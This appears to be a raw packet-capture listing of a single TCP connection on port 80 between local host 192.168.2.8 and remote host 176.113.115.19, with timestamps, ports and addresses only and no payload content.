Jan 8, 2025 09:42:31.826590061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.826590061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.826606035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.826618910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.826628923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.826642990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.826647997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.826658964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.826673031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.826678991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.826685905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.826698065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.826699972 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.826718092 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.826754093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.855871916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.855885983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.855900049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.855954885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856024981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856031895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856040955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856055975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856070995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856086969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856089115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856089115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856147051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856147051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856178045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856193066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856204033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856215954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856229067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856235027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856235027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856240988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856245041 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856255054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856267929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856280088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856300116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856300116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856318951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856331110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856333971 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856352091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856359959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856368065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856380939 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856384039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856408119 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856408119 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856477976 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856623888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856636047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856654882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856667995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856679916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856681108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856681108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856681108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856693983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856705904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856719017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856723070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856723070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856731892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856745005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856756926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856759071 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856770039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856776953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856776953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856789112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856802940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856815100 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856815100 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856827974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856837988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856842995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856854916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856863976 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856870890 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856884003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856897116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.856900930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856900930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856933117 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.856950045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857131958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857218027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857223034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857234955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857247114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857259035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857259989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857273102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857283115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857287884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857302904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857306004 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857316017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857317924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857331991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857342005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857350111 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857381105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857402086 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857588053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857599974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857610941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857623100 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857635975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857647896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857656002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857656002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857661963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857675076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857682943 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857687950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857700109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857705116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857713938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857726097 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857738972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857750893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857750893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857752085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857764006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857767105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857780933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857788086 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857793093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.857835054 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.857835054 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858052969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858063936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858084917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858098030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858105898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858105898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858110905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858128071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858134985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858148098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858160973 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858167887 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858169079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858172894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858186960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858196974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858201027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858217001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858232975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858232975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858232975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858246088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858266115 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858274937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858274937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858283043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858298063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.858340979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.858340979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.883814096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.883835077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.883848906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.883862019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.883873940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.883879900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.883892059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.883903027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.883960009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.911900997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.911926985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.911947966 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.911959887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.911973953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.911979914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.911987066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912002087 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912014008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912026882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912041903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912072897 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912086010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912090063 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.912100077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912168026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.912245989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.912302017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.946682930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.946696043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.946711063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.946732998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.946752071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.946767092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.946811914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.946840048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.946855068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.946999073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.946999073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.946999073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947038889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947073936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947087049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947098017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947163105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947197914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947211027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947221994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947235107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947246075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947274923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947288990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947295904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947329998 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947330952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947345018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947346926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947402000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947402000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947433949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947448015 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947459936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947470903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947482109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947494030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947504044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947506905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947556019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947567940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947578907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947593927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947604895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947618008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947632074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947638988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947684050 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947743893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947757006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947763920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947770119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947776079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947822094 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947823048 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947844028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947846889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947865963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947876930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947890043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947890997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947899103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947905064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947917938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947931051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.947932005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947945118 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947957993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.947990894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948066950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948066950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948190928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948204041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948215961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948227882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948241949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948254108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948261023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948261023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948267937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948291063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948312998 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948333025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948345900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948363066 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948410988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948431969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948447943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948483944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948483944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948685884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948698997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948709011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948720932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948729992 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948734045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948748112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948760986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948772907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948777914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948786974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948788881 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948802948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948816061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948827982 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948834896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948842049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948843956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948854923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948868990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948889017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948890924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.948920012 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.948939085 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.949111938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949124098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949137926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949148893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949167013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949172020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.949181080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949183941 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.949193954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949208021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949220896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949233055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949244976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949246883 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.949259043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949261904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.949273109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949286938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949301958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949306965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.949312925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.949331045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.949351072 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.949387074 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.974375963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.974400043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.974415064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.974428892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.974437952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.974481106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.974499941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.974514008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.974522114 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.974526882 CET	80	49708	176.113.115.19	192.168.2.8
